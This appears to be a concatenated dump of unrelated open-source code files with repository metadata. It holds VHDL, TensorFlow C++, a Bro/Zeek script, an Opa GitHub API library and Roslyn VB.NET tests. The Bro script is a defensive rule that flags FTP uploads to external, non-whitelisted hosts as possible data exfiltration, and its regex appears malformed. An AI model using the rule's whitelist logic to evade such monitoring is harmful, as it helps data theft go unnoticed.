din3_WIDTH => 10,
din4_WIDTH => 10,
din5_WIDTH => 10,
din6_WIDTH => 10,
din7_WIDTH => 10,
din8_WIDTH => 10,
din9_WIDTH => 10,
din10_WIDTH => 4,
dout_WIDTH => 10)
port map (
din0 => imgblock_2_0_V_read_int_reg,
din1 => imgblock_2_1_V_read_int_reg,
din2 => imgblock_2_2_V_read_int_reg,
din3 => imgblock_2_3_V_read_int_reg,
din4 => imgblock_2_4_V_read_int_reg,
din5 => imgblock_2_5_V_read_int_reg,
din6 => imgblock_2_6_V_read_int_reg,
din7 => imgblock_2_7_V_read_int_reg,
din8 => imgblock_2_8_V_read_int_reg,
din9 => imgblock_2_9_V_read_int_reg,
din10 => zext_ln215_39_fu_462_p1,
dout => tmp_72_fu_790_p12);
process (ap_clk)
begin
if (ap_clk'event and ap_clk = '1') then
if ((ap_const_logic_1 = ap_ce)) then
imgblock_0_0_V_read_int_reg <= imgblock_0_0_V_read;
imgblock_0_1_V_read_int_reg <= imgblock_0_1_V_read;
imgblock_0_2_V_read_int_reg <= imgblock_0_2_V_read;
imgblock_0_3_V_read_int_reg <= imgblock_0_3_V_read;
imgblock_0_4_V_read_int_reg <= imgblock_0_4_V_read;
imgblock_0_5_V_read_int_reg <= imgblock_0_5_V_read;
imgblock_0_6_V_read_int_reg <= imgblock_0_6_V_read;
imgblock_0_7_V_read_int_reg <= imgblock_0_7_V_read;
imgblock_0_8_V_read_int_reg <= imgblock_0_8_V_read;
imgblock_0_9_V_read_int_reg <= imgblock_0_9_V_read;
imgblock_1_0_V_read_int_reg <= imgblock_1_0_V_read;
imgblock_1_1_V_read_int_reg <= imgblock_1_1_V_read;
imgblock_1_2_V_read_int_reg <= imgblock_1_2_V_read;
imgblock_1_3_V_read_int_reg <= imgblock_1_3_V_read;
imgblock_1_4_V_read_int_reg <= imgblock_1_4_V_read;
imgblock_1_5_V_read_int_reg <= imgblock_1_5_V_read;
imgblock_1_6_V_read_int_reg <= imgblock_1_6_V_read;
imgblock_1_7_V_read_int_reg <= imgblock_1_7_V_read;
imgblock_1_8_V_read_int_reg <= imgblock_1_8_V_read;
imgblock_1_9_V_read_int_reg <= imgblock_1_9_V_read;
imgblock_2_0_V_read_int_reg <= imgblock_2_0_V_read;
imgblock_2_1_V_read_int_reg <= imgblock_2_1_V_read;
imgblock_2_2_V_read_int_reg <= imgblock_2_2_V_read;
imgblock_2_3_V_read_int_reg <= imgblock_2_3_V_read;
imgblock_2_4_V_read_int_reg <= imgblock_2_4_V_read;
imgblock_2_5_V_read_int_reg <= imgblock_2_5_V_read;
imgblock_2_6_V_read_int_reg <= imgblock_2_6_V_read;
imgblock_2_7_V_read_int_reg <= imgblock_2_7_V_read;
imgblock_2_8_V_read_int_reg <= imgblock_2_8_V_read;
imgblock_2_9_V_read_int_reg <= imgblock_2_9_V_read;
imgblock_3_0_V_read_int_reg <= imgblock_3_0_V_read;
imgblock_3_1_V_read_int_reg <= imgblock_3_1_V_read;
imgblock_3_2_V_read_int_reg <= imgblock_3_2_V_read;
imgblock_3_3_V_read_int_reg <= imgblock_3_3_V_read;
imgblock_3_4_V_read_int_reg <= imgblock_3_4_V_read;
imgblock_3_5_V_read_int_reg <= imgblock_3_5_V_read;
imgblock_3_6_V_read_int_reg <= imgblock_3_6_V_read;
imgblock_3_7_V_read_int_reg <= imgblock_3_7_V_read;
imgblock_3_8_V_read_int_reg <= imgblock_3_8_V_read;
imgblock_3_9_V_read_int_reg <= imgblock_3_9_V_read;
imgblock_4_0_V_read_int_reg <= imgblock_4_0_V_read;
imgblock_4_1_V_read_int_reg <= imgblock_4_1_V_read;
imgblock_4_2_V_read_int_reg <= imgblock_4_2_V_read;
imgblock_4_3_V_read_int_reg <= imgblock_4_3_V_read;
imgblock_4_4_V_read_int_reg <= imgblock_4_4_V_read;
imgblock_4_5_V_read_int_reg <= imgblock_4_5_V_read;
imgblock_4_6_V_read_int_reg <= imgblock_4_6_V_read;
imgblock_4_7_V_read_int_reg <= imgblock_4_7_V_read;
imgblock_4_8_V_read_int_reg <= imgblock_4_8_V_read;
imgblock_4_9_V_read_int_reg <= imgblock_4_9_V_read;
loop_r_int_reg <= loop_r;
end if;
end if;
end process;
process (ap_clk)
begin
if (ap_clk'event and ap_clk = '1') then
if (((ap_const_boolean_0 = ap_block_pp0_stage0_11001) and (ap_const_logic_1 = ap_ce))) then
res_reg_956 <= res_fu_861_p2;
ret_V_12_reg_941 <= ret_V_12_fu_618_p2;
ret_V_15_reg_946 <= ret_V_15_fu_784_p2;
tmp_72_reg_951 <= tmp_72_fu_790_p12;
end if;
end if;
end process;
add_ln1353_21_fu_774_p2 <= std_logic_vector(unsigned(zext_ln1353_37_fu_770_p1) + unsigned(zext_ln215_50_fu_740_p1));
add_ln1353_fu_608_p2 <= std_logic_vector(unsigned(zext_ln1353_35_fu_604_p1) + unsigned(zext_ln215_44_fu_574_p1));
add_ln215_1_fu_654_p2 <= std_logic_vector(unsigned(zext_ln215_fu_452_p1) + unsigned(ap_const_lv3_1));
add_ln215_2_fu_704_p2 <= std_logic_vector(unsigned(zext_ln215_fu_452_p1) + unsigned(ap_const_lv3_3));
add_ln215_fu_456_p2 <= std_logic_vector(unsigned(zext_ln215_fu_452_p1) + unsigned(ap_const_lv3_2));
add_ln63_fu_851_p2 <= std_logic_vector(signed(sext_ln1354_fu_825_p1) + signed(zext_ln63_fu_836_p1));
ap_block_pp0_stage0 <= not((ap_const_boolean_1 = ap_const_boolean_1));
ap_block_pp0_stage0_11001 <= not((ap_const_boolean_1 = ap_const_boolean_1));
ap_block_state1_pp0_stage0_iter0 <= not((ap_const_boolean_1 = ap_const_boolean_1));
ap_block_state2_pp0_stage0_iter1 <= not((ap_const_boolean_1 = ap_const_boolean_1));
ap_block_state3_pp0_stage0_iter2 <= not((ap_const_boolean_1 = ap_const_boolean_1));
ap_return <=
ap_const_lv14_0 when (icmp_ln65_fu_928_p2(0) = '1') else
select_ln64_fu_920_p3;
icmp_ln65_fu_928_p2 <= "1" when (signed(res_reg_956) < signed(ap_const_lv15_7FF9)) else "0";
lhs_V_10_fu_532_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(ret_V_fu_526_p2),12));
lhs_V_11_fu_650_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(tmp_fu_624_p12),11));
lhs_V_12_fu_700_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(ret_V_14_fu_694_p2),12));
lhs_V_fu_492_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(tmp_s_fu_466_p12),11));
or_ln_fu_536_p3 <= (ap_const_lv1_1 & loop_r_int_reg);
res_fu_861_p2 <= std_logic_vector(unsigned(zext_ln63_1_fu_847_p1) + unsigned(sext_ln63_fu_857_p1));
ret_V_12_fu_618_p2 <= std_logic_vector(unsigned(lhs_V_10_fu_532_p1) + unsigned(zext_ln1353_36_fu_614_p1));
ret_V_13_fu_819_p2 <= std_logic_vector(unsigned(ap_const_lv13_0) - unsigned(zext_ln1353_fu_816_p1));
ret_V_14_fu_694_p2 <= std_logic_vector(unsigned(lhs_V_11_fu_650_p1) + unsigned(rhs_V_6_fu_690_p1));
ret_V_15_fu_784_p2 <= std_logic_vector(unsigned(lhs_V_12_fu_700_p1) + unsigned(zext_ln1353_38_fu_780_p1));
ret_V_fu_526_p2 <= std_logic_vector(unsigned(lhs_V_fu_492_p1) + unsigned(rhs_V_fu_522_p1));
rhs_V_6_fu_690_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(tmp_69_fu_664_p12),11));
rhs_V_fu_522_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(tmp_66_fu_496_p12),11));
select_ln64_fu_920_p3 <=
sub_ln64_1_fu_897_p2 when (tmp_142_fu_867_p3(0) = '1') else
zext_ln64_1_fu_916_p1;
sext_ln1354_fu_825_p1 <= std_logic_vector(IEEE.numeric_std.resize(signed(ret_V_13_fu_819_p2),14));
sext_ln63_fu_857_p1 <= std_logic_vector(IEEE.numeric_std.resize(signed(add_ln63_fu_851_p2),15));
sext_ln64_1_fu_912_p1 <= std_logic_vector(IEEE.numeric_std.resize(signed(trunc_ln64_4_fu_903_p4),13));
sext_ln64_fu_889_p1 <= std_logic_vector(IEEE.numeric_std.resize(signed(trunc_ln64_3_fu_879_p4),13));
shl_ln63_1_fu_840_p3 <= (tmp_72_reg_951 & ap_const_lv2_0);
shl_ln_fu_829_p3 <= (ret_V_15_reg_946 & ap_const_lv1_0);
sub_ln64_1_fu_897_p2 <= std_logic_vector(unsigned(ap_const_lv14_0) - unsigned(zext_ln64_fu_893_p1));
sub_ln64_fu_874_p2 <= std_logic_vector(unsigned(ap_const_lv15_0) - unsigned(res_reg_956));
tmp_142_fu_867_p3 <= res_reg_956(14 downto 14);
tmp_66_fu_496_p11 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(loop_r_int_reg),4));
tmp_67_fu_548_p11 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(or_ln_fu_536_p3),4));
tmp_69_fu_664_p11 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(add_ln215_1_fu_654_p2),4));
tmp_70_fu_714_p11 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(add_ln215_2_fu_704_p2),4));
trunc_ln64_3_fu_879_p4 <= sub_ln64_fu_874_p2(14 downto 3);
trunc_ln64_4_fu_903_p4 <= res_reg_956(14 downto 3);
zext_ln1353_35_fu_604_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(tmp_68_fu_578_p12),11));
zext_ln1353_36_fu_614_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(add_ln1353_fu_608_p2),12));
zext_ln1353_37_fu_770_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(tmp_71_fu_744_p12),11));
zext_ln1353_38_fu_780_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(add_ln1353_21_fu_774_p2),12));
zext_ln1353_fu_816_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(ret_V_12_reg_941),13));
zext_ln215_39_fu_462_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(add_ln215_fu_456_p2),4));
zext_ln215_44_fu_574_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(tmp_67_fu_548_p12),11));
zext_ln215_50_fu_740_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(tmp_70_fu_714_p12),11));
zext_ln215_fu_452_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(loop_r_int_reg),3));
zext_ln63_1_fu_847_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(shl_ln63_1_fu_840_p3),15));
zext_ln63_fu_836_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(shl_ln_fu_829_p3),14));
zext_ln64_1_fu_916_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(sext_ln64_1_fu_912_p1),14));
zext_ln64_fu_893_p1 <= std_logic_vector(IEEE.numeric_std.resize(unsigned(sext_ln64_fu_889_p1),14));
end behav;
| VHDL | 3 | hito0512/Vitis-AI | Whole-App-Acceleration/apps/resnet50/build_flow/DPUCVDX8G_vck190/vck190_platform/hw/source/ip/isppipeline_accel/hdl/vhdl/g_kernel.vhd | [
"Apache-2.0"
] |
/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/compiler/jit/introduce_floating_point_jitter_pass.h"
#include "absl/algorithm/container.h"
#include "absl/container/flat_hash_map.h"
#include "tensorflow/cc/framework/scope_internal.h"
#include "tensorflow/cc/ops/const_op.h"
#include "tensorflow/cc/ops/math_ops.h"
#include "tensorflow/compiler/jit/flags.h"
#include "tensorflow/core/graph/tensor_id.h"
namespace tensorflow {
namespace {
std::vector<std::pair<Node*, std::vector<int>>> GetNodesToModify(
const Graph& g, absl::Span<const string> tensor_names) {
absl::flat_hash_map<string, Node*> name_to_node;
for (Node* n : g.op_nodes()) {
name_to_node[n->name()] = n;
}
absl::flat_hash_map<Node*, std::vector<int>> nodes_to_modify_map;
for (const string& tensor_name : tensor_names) {
TensorId tensor_id = ParseTensorName(tensor_name);
auto it = name_to_node.find(tensor_id.node());
DCHECK(it != name_to_node.end());
nodes_to_modify_map[it->second].push_back(tensor_id.index());
}
std::vector<std::pair<Node*, std::vector<int>>> nodes_to_modify;
absl::c_copy(nodes_to_modify_map, std::back_inserter(nodes_to_modify));
absl::c_sort(nodes_to_modify,
[](const std::pair<Node*, std::vector<int>>& a,
const std::pair<Node*, std::vector<int>>& b) {
return a.first->id() < b.first->id();
});
for (auto& p : nodes_to_modify) {
absl::c_sort(p.second);
p.second.erase(std::unique(p.second.begin(), p.second.end()),
p.second.end());
}
return nodes_to_modify;
}
Status IntroduceJitterToTensor(
Graph* g, Node* n, int oidx, float jitter_amount,
absl::flat_hash_map<std::pair<DataType, Node*>, Output>*
node_to_jitter_constant) {
std::vector<const Edge*> edges_to_update;
absl::c_copy_if(n->out_edges(), std::back_inserter(edges_to_update),
[&](const Edge* e) { return e->src_output() == oidx; });
if (edges_to_update.empty()) {
VLOG(1) << "No users for " << TensorId(n->name(), oidx).ToString();
return Status::OK();
}
VLOG(1) << "Updating " << edges_to_update.size() << " users for "
<< TensorId(n->name(), oidx).ToString();
Status status;
Scope s = NewInternalScope(g, &status, /*refiner=*/nullptr)
.NewSubScope(absl::StrCat(n->name(), "/jitter"));
Output node_out(n, oidx);
Output jitter_constant;
DataType dtype = n->output_type(oidx);
auto it = node_to_jitter_constant->find({dtype, n});
if (it == node_to_jitter_constant->end()) {
Tensor constant_tensor;
if (dtype == DT_FLOAT) {
constant_tensor = Tensor(static_cast<float>(jitter_amount));
} else if (dtype == DT_HALF) {
constant_tensor = Tensor(Eigen::half(jitter_amount));
} else {
return errors::Unimplemented("Only float and half are supported");
}
jitter_constant =
ops::Const(s.WithOpName("jitter_amount"), constant_tensor);
(*node_to_jitter_constant)[{dtype, n}] = jitter_constant;
} else {
jitter_constant = it->second;
}
Output jittered_output =
ops::Add(s.NewSubScope(absl::StrCat(oidx)).WithOpName("jittered_output"),
jitter_constant, node_out);
TF_RETURN_IF_ERROR(status);
for (const Edge* e : edges_to_update) {
VLOG(3) << "Updating " << e->dst()->name();
TF_RETURN_IF_ERROR(
g->UpdateEdge(jittered_output.node(), 0, e->dst(), e->dst_input()));
}
// Add a control edge to make sure that the two inputs to jittered_output are
// from the same frame.
g->AddControlEdge(n, jitter_constant.node());
return Status::OK();
}
} // namespace
Status IntroduceFloatingPointJitter(Graph* graph,
absl::Span<string const> tensor_names,
float jitter_amount) {
if (tensor_names.empty()) {
VLOG(3) << "Nothing to do";
return Status::OK();
}
std::vector<std::pair<Node*, std::vector<int>>> nodes_to_modify =
GetNodesToModify(*graph, tensor_names);
absl::flat_hash_map<std::pair<DataType, Node*>, Output>
node_to_jitter_constant;
for (const auto& p : nodes_to_modify) {
for (int oidx : p.second) {
TF_RETURN_IF_ERROR(IntroduceJitterToTensor(
graph, p.first, oidx, jitter_amount, &node_to_jitter_constant));
}
}
return Status::OK();
}
Status IntroduceFloatingPointJitterPass::Run(
const GraphOptimizationPassOptions& options) {
const IntroduceFloatingPointJitterPassFlags& flags =
GetIntroduceFloatingPointJitterPassFlags();
return IntroduceFloatingPointJitter(options.graph->get(), flags.tensor_names,
flags.jitter_amount);
}
} // namespace tensorflow
| C++ | 5 | abhaikollara/tensorflow | tensorflow/compiler/jit/introduce_floating_point_jitter_pass.cc | [
"Apache-2.0"
] |
##! This script will generate a notice if a host succesfully uploads
##! data to an FTP server.
@load base/frameworks/notice
@load base/protocols/ftp
module Exfiltration;
export {
redef enum Notice::Type += {
FTP_Upload,
};
}
function handle_ftp_exception(c: connection)
{
when (local reverse_lookup_hostname = lookup_addr(c$id$resp_h))
{
NOTICE([$note=FTP_Upload,
$msg=fmt("%s has used FTP to send files to %s (%s:%s)",
c$id$orig_h, reverse_lookup_hostname, c$id$resp_h, c$id$resp_p),
$conn=c,
$suppress_for=4hr,
$identifier=cat(c$id$orig_h," -> ", c$id$resp_h)]);
}
}
event ftp_reply(c: connection, code: count, msg: string, cont_resp: bool )
{
local response_xyz = FTP::parse_ftp_reply_code(code);
# Ignore failed and missing commands
if (response_xyz$x != 2) return;
if (!c$ftp?$command) return;
# Only monitor for STOR (store) and STOU (store uniquely) uploads
if (/[Ss[Tt][Oo]/ !in c$ftp$command) return;
# Handle but consider for exception
if (c$id$orig_h !in Site::local_nets) return;
if (c$id$resp_h in Site::local_nets) return;
if (whitelisted_connection_in_cache(c)) return;
if (whitelisted_connection_by_subnet(c)) return;
when (local name = lookup_addr(c$id$resp_h))
{
if (whitelisted_connection_by_hostname(c, name))
{
add_to_whitelist_cache(c$id$resp_h, c$uid, name);
return;
}
else if (whitelisted_connection_by_hostname_zone(c, name))
{
add_to_whitelist_cache(c$id$resp_h, c$uid, name);
return;
}
else
{
handle_ftp_exception(c);
}
}
} | Bro | 5 | evernote/bro-scripts | exfiltration/scripts/ftp.bro | [
"BSD-3-Clause"
] |
---
title: Columns
layout: documentation
doc-tab: columns
hide_tabs: true
hide_pagination: true
breadcrumb:
- home
- documentation
- columns
---
{% include components/links.html category_id='columns' %}
| HTML | 1 | kalpitzeta/bulma | docs/documentation/columns.html | [
"MIT"
] |
<faces-config>
<!-- This file is a workaround from SPR#MKEE89JPHG -->
<faces-config-extension>
<namespace-uri>http://www.ibm.com/xsp/coreex</namespace-uri>
<default-prefix>xe</default-prefix>
</faces-config-extension>
</faces-config> | XPages | 1 | jesse-gallagher/XPagesExtensionLibrary | extlib/lwp/product/nsf/Teamroom/WebContent/WEB-INF/extlib-namespace.xsp-config | [
"Apache-2.0"
] |
%%
%unicode 3.1
%public
%class UnicodeNotScript
%type int
%standalone
%include ../../resources/common-unicode-enumerated-property-java
%%
\P{Canadian Aboriginal} { setCurCharPropertyValue("Not Canadian Aboriginal"); }
\p{Canadian Aboriginal} { setCurCharPropertyValue("Canadian Aboriginal"); }
<<EOF>> { printOutput(); return 1; }
| JFlex | 4 | Mivik/jflex | testsuite/testcases/src/test/cases/unicode-scripts/UnicodeNotScript.flex | [
"BSD-3-Clause"
] |
/*
Copyright © 2011 MLstate
This file is part of Opa.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/*
* Author : Nicolas Glondu <[email protected]>
**/
/**
* GitHub organization API module
*
* @category api
* @author Nicolas Glondu, 2011
* @destination public
*/
package stdlib.apis.github.orgs
import stdlib.apis.github
import stdlib.apis.github.lib
type GHOrgs.value =
{ name : string }
/ { email : string }
/ { blog : string }
/ { company : string }
/ { location : string }
/ { billing_email : string }
/* Types returned by API */
type GitHub.organization = {
login : string
id : int
url : string
avatar_url : string
name : string
company : string
blog : string
location : string
email : string
public_repos : int
public_gists : int
followers : int
following : int
html_url : string
created_at : Date.date
org_type : string
total_private_repos : int
owned_private_repos : int
private_gists : int
disk_usage : int
collaborators : int
billing_email : string
plan: option(GitHub.plan)
}
type GitHub.permission = {admin} / {push} / {pull}
type GitHub.team = {
url : string
name : string
id : int
members_count : int
permission : GitHub.permission
repos_count : int
}
@private GHORp = {{
@private GP = GHParse
perm_to_str(p) =
match p : GitHub.permission with
| {admin} -> "admin"
| {push} -> "push"
| {pull} -> "pull"
perm_from_str(p) : GitHub.permission =
match p : string with
| "admin" -> {admin}
| "push" -> {push}
| "pull" -> {pull}
| _ -> {pull}
get_org(srcmap) =
m = GP.map_funs(srcmap)
if m.exists("id") then
res = {
login = m.str("login")
id = GP.get_id(m)
url = m.str("url")
avatar_url = m.str("avatar_url")
name = m.str("name")
company = m.str("company")
blog = m.str("blog")
location = m.str("location")
email = m.str("email")
public_repos = m.int("public_repos")
public_gists = m.int("public_gists")
followers = m.int("followers")
following = m.int("following")
html_url = m.str("html_url")
created_at = m.date("created_at")
org_type = m.str("org_type")
total_private_repos = m.int("total_private_repos")
owned_private_repos = m.int("owned_private_repos")
private_gists = m.int("private_gists")
disk_usage = m.int("disk_usage")
collaborators = m.int("collaborators")
billing_email = m.str("billing_email")
plan = GP.get_rec(m, "plan", GP.get_plan_opt)
} : GitHub.organization
some(res)
else none
get_team(srcmap) =
m = GP.map_funs(srcmap)
if m.exists("id") then
res = {
id = GP.get_id(m)
url = m.str("url")
name = m.str("name")
members_count = m.int("members_count")
permission = perm_from_str(m.str("permission"))
repos_count = m.int("repos_count")
} : GitHub.team
some(res)
else none
one_org(res) = GP.dewrap_whole_obj(res, get_org)
multiple_orgs(res) = GP.dewrap_whole_list(res, get_org)
multiple_repos(res) = GP.dewrap_whole_list(res, GP.get_repo(false))
multiple_users(res) = GP.dewrap_list(res, "users", GP.get_user)
one_team(res) = GP.dewrap_whole_obj(res, get_team)
multiple_teams(res) = GP.dewrap_whole_list(res, get_team)
}}
GHOrgs = {{
@private GP = GHParse
list_organizations(user:GitHub.user_id) =
(path, data) = GHLib.userpath(user,"orgs")
GHLib.api_get(path, data, GP.multiple_short_users)
get_organization(token:string, org:string) =
GHLib.api_get_full("/orgs/{org}", token, [], GHORp.one_org)
edit_organization(token:string, org:string,
billing_email:option(string), company:option(string), email:option(string),
location:option(string), name:option(string)) =
json = GHLib.mkopts([{sopt=("billing_email",billing_email)},{sopt=("company",company)},{sopt=("email",email)},
{sopt=("location",location)},{sopt=("name",name)}])
GHLib.api_patch_string("/org/{org}", token, json, GHORp.one_org)
list_members(token:string, org:string) =
GHLib.api_get_full("/orgs/{org}/members", token, [], GP.multiple_short_users)
get_member(token:string, org:string, user:string) =
GHLib.api_get_full("/orgs/{org}/members/{user}", token, [], GP.expect_204_404)
remove_member(token:string, org:string, user:string) =
GHLib.api_delete_string("/orgs/{org}/members/{user}", token, "", GP.expect_204)
list_public_members(token:string, org:string) =
GHLib.api_get_full("/orgs/{org}/public_members", token, [], GP.multiple_short_users)
is_public_member(token:string, org:string, user:string) =
GHLib.api_get_full("/orgs/{org}/public_members/{user}", token, [], GP.expect_204_404)
publicize_membership(token:string, org:string, user:string) =
GHLib.api_put_string("/orgs/{org}/public_members/{user}", token, "", GP.expect_204)
conceal_membership(token:string, org:string, user:string) =
GHLib.api_delete_string("/orgs/{org}/public_members/{user}", token, "", GP.expect_204)
list_teams(token:string, org:string) =
GHLib.api_get_full("/orgs/{org}/teams", token, [], GHORp.multiple_teams)
get_team(token:string, id:int) =
GHLib.api_get_full("/teams/{id}", token, [], GHORp.one_team)
create_team(token:string, org:string,
name:string, repo_names:list(string), permission:option(GitHub.permission)) =
json = GHLib.mkopts([{sreq=("name",name)},{slst=("repo_names",repo_names)},
{ocst=("permission",GHORp.perm_to_str,permission)}])
GHLib.api_post_string("/orgs/{org}/teams", token, json, GHORp.one_team)
edit_team(token:string, id:int, name:string, permission:option(GitHub.permission)) =
json = GHLib.mkopts([{sreq=("name",name)},{ocst=("permission",GHORp.perm_to_str,permission)}])
GHLib.api_patch_string("/teams/{id}", token, json, GHORp.one_team)
delete_team(token:string, id:int) =
GHLib.api_delete_string("/teams/{id}", token, "", GP.expect_204)
list_team_members(token:string, id:int) =
GHLib.api_get_full("/teams/{id}/members", token, [], GP.multiple_short_users)
get_team_member(token:string, id:int, user:string) =
GHLib.api_get_full("/teams/{id}/members/{user}", token, [], GP.expect_204_404)
add_team_member(token:string, id:int, user:string) =
GHLib.api_put_string("/teams/{id}/members/{user}", token, "", GP.expect_204)
remove_team_member(token:string, id:int, user:string) =
GHLib.api_delete_string("/teams/{id}/members/{user}", token, "", GP.expect_204)
list_team_repos(token:string, id:int) =
GHLib.api_get_full("/teams/{id}/repos", token, [], GHORp.multiple_repos)
get_team_repo(token:string, id:int, user:string, repo:string) =
GHLib.api_get_full("/teams/{id}/repos/{user}/{repo}", token, [], GP.expect_204_404)
add_team_repo(token:string, id:int, user:string, repo:string) =
GHLib.api_put_string("/teams/{id}/repos/{user}/{repo}", token, "", GP.expect_204)
remove_team_repo(token:string, id:int, user:string, repo:string) =
GHLib.api_delete_string("/teams/{id}/repos/{user}/{repo}", token, "", GP.expect_204)
}}
| Opa | 5 | Machiaweliczny/oppailang | lib/stdlib/apis/github/orgs/orgs.opa | [
"MIT"
] |
' Licensed to the .NET Foundation under one or more agreements.
' The .NET Foundation licenses this file to you under the MIT license.
' See the LICENSE file in the project root for more information.
Imports Microsoft.CodeAnalysis.Test.Utilities
Imports Microsoft.CodeAnalysis.VisualBasic.Symbols
Imports Roslyn.Test.Utilities
Namespace Microsoft.CodeAnalysis.VisualBasic.UnitTests
<CompilerTrait(CompilerFeature.DefaultInterfaceImplementation)>
Public Class StaticAbstractMembersInInterfacesTests
Inherits BasicTestBase
Private Const _supportingFramework As TargetFramework = TargetFramework.Net60
Private Function GetCSharpCompilation(
csSource As String,
Optional additionalReferences As MetadataReference() = Nothing,
Optional targetFramework As TargetFramework = _supportingFramework,
Optional compilationOptions As CSharp.CSharpCompilationOptions = Nothing
) As CSharp.CSharpCompilation
Return CreateCSharpCompilation(csSource,
parseOptions:=CSharp.CSharpParseOptions.Default.WithLanguageVersion(CSharp.LanguageVersion.Preview),
referencedAssemblies:=TargetFrameworkUtil.GetReferences(targetFramework, additionalReferences),
compilationOptions:=compilationOptions)
End Function
<Fact>
Public Sub DefineAbstractStaticMethod_01()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Interface I1
Shared Sub M1()
End Interface
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework)
comp1.AssertTheseDiagnostics(
<errors>
BC30270: 'Shared' is not valid on an interface method declaration.
Shared Sub M1()
~~~~~~
</errors>
)
Dim i1M1 = comp1.GetMember(Of MethodSymbol)("I1.M1")
Assert.False(i1M1.IsShared)
End Sub
<Fact>
Public Sub ImplementAbstractStaticMethod_01()
Dim csSource =
"
public interface I1
{
static abstract void M1();
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Public Class C
Implements I1
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37315: Class 'C' cannot implement interface 'I1' because it contains shared abstract 'Sub M1()'.
Implements I1
~~
</errors>
)
Dim i1M1 = comp1.GetMember(Of MethodSymbol)("I1.M1")
Assert.Empty(i1M1.ExplicitInterfaceImplementations)
Assert.Null(i1M1.ContainingType.FindImplementationForInterfaceMember(i1M1))
Dim c = comp1.GetMember(Of NamedTypeSymbol)("C")
Assert.Null(c.FindImplementationForInterfaceMember(i1M1))
End Sub
<Fact>
Public Sub ImplementAbstractStaticMethod_02()
Dim csSource =
"
public interface I1
{
static abstract void M1();
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Public Class C
Implements I1
Sub M1() Implements I1.M1
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37315: Class 'C' cannot implement interface 'I1' because it contains shared abstract 'Sub M1()'.
Implements I1
~~
BC30401: 'M1' cannot implement 'M1' because there is no matching sub on interface 'I1'.
Sub M1() Implements I1.M1
~~~~~
</errors>
)
Dim i1M1 = comp1.GetMember(Of MethodSymbol)("I1.M1")
Assert.Empty(i1M1.ExplicitInterfaceImplementations)
Assert.Null(i1M1.ContainingType.FindImplementationForInterfaceMember(i1M1))
Dim c = comp1.GetMember(Of NamedTypeSymbol)("C")
Assert.Null(c.FindImplementationForInterfaceMember(i1M1))
End Sub
<Fact>
Public Sub ImplementAbstractStaticMethod_03()
Dim csSource =
"
public interface I1
{
static abstract void M1();
}
"
Dim csCompilation = GetCSharpCompilation(csSource).EmitToImageReference()
Dim source1 =
<compilation>
<file name="c.vb"><![CDATA[
Public Class C
Implements I1
Shared Sub M1() Implements I1.M1
End Sub
End Class
]]></file>
</compilation>
Dim comp1 = CreateCompilation(source1, targetFramework:=_supportingFramework, references:={csCompilation})
comp1.AssertTheseDiagnostics(
<errors>
BC37315: Class 'C' cannot implement interface 'I1' because it contains shared abstract 'Sub M1()'.
Implements I1
~~
BC30505: Methods or events that implement interface members cannot be declared 'Shared'.
Shared Sub M1() Implements I1.M1
~~~~~~
</errors>
)
Dim i1M1 = comp1.GetMember(Of MethodSymbol)("I1.M1")
Assert.Empty(i1M1.ExplicitInterfaceImplementations)
